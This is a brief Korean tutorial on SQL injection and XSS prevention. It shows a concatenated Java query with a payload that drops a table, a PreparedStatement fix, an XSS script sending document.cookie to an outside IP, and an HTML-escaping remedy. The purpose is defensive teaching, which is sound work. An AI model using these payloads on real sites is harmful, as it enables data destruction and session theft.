Sql injection & Cross Site Scripting (XSS) 예방책

< Sql injection >

[공격 예제]

Java 소스의 게시판 검색 Sql 구문 코딩이 아래와 같다고 하고

String findQuery = select * from notice where title = ' + keyword + ' ;

 

홈페이지의 게시판 검색 시 keyword

   any'  ;  DROP TABLE NOTICE     를 넣고 검색한다면

 

아래와 같은 Sql 구문이 실행되고

SELECT * FROM notice WHERE title = 'any' ;  DROP TABLE notice

NOTICE 테이블이 삭제됩니다.

 

[예방법]

Sql 구문을 직접 생성하는 방법을 피하면 됩니다.

Java의 경우 Prepared Statement 를 이용하면 예방가능합니다.

--------------------------------------------------------------------------

String findQuery = select * from notice where title = ? ;

PreparedStatement pstmt = dbConnection.prepareStatement(findQuery);

pstmt.setString(1, keyword);

ResultSet rs = pstmt.executeQuery();

-----------------------------------------------------------------------

l        참고 URL
http://korea.internet.com/channel/content.asp?kid=18&cid=185&nid=34414

 

< Cross Site Scripting (XSS) >    

[공격 예제]

아래의 코드가 웹페이지에 삽입되어 있다면

----------------------------------------------------------------

<script>

document.location.replace('http://10.1.1.1:8080/ getCookie.cgi?'+document.cookie+'&'+document.URL);

</script>

---------------------------------------------------------------

페이지를 접속하는 순간에 사용자의 쿠기값들과 현재 페이지 URLhttp://10.1.1.1:8080/getCookie.cgi 로 전송합니다.

위의 예 이외에도 여러가지 유형이 있습니다.

 

[예방법]

대부분의 XSS는 게시판을 통해서 일어나므로

사용자들 게시판에 html 코드를 쓸 수 없게 합니다.

이 때 DB에 게시물을 Insert 시에는 처리할 것이 없습니다.

DB에서 해당 게시물을 조회할 때

게시물 내용에서  <     &lt;  로 변경 하고    > “ 는  &gt; 로 변경 해주면 웹브라우져는 악의적인 코드를 html태그로 인식하지 않으므로 스크립트가 실행되지 않습니다(화면에는 입력한 대로 출력되어 보이게 됩니다).

l        참고 URL
http://www.zdnet.co.kr/builder/system/security/0,39031673,39131781,00.htm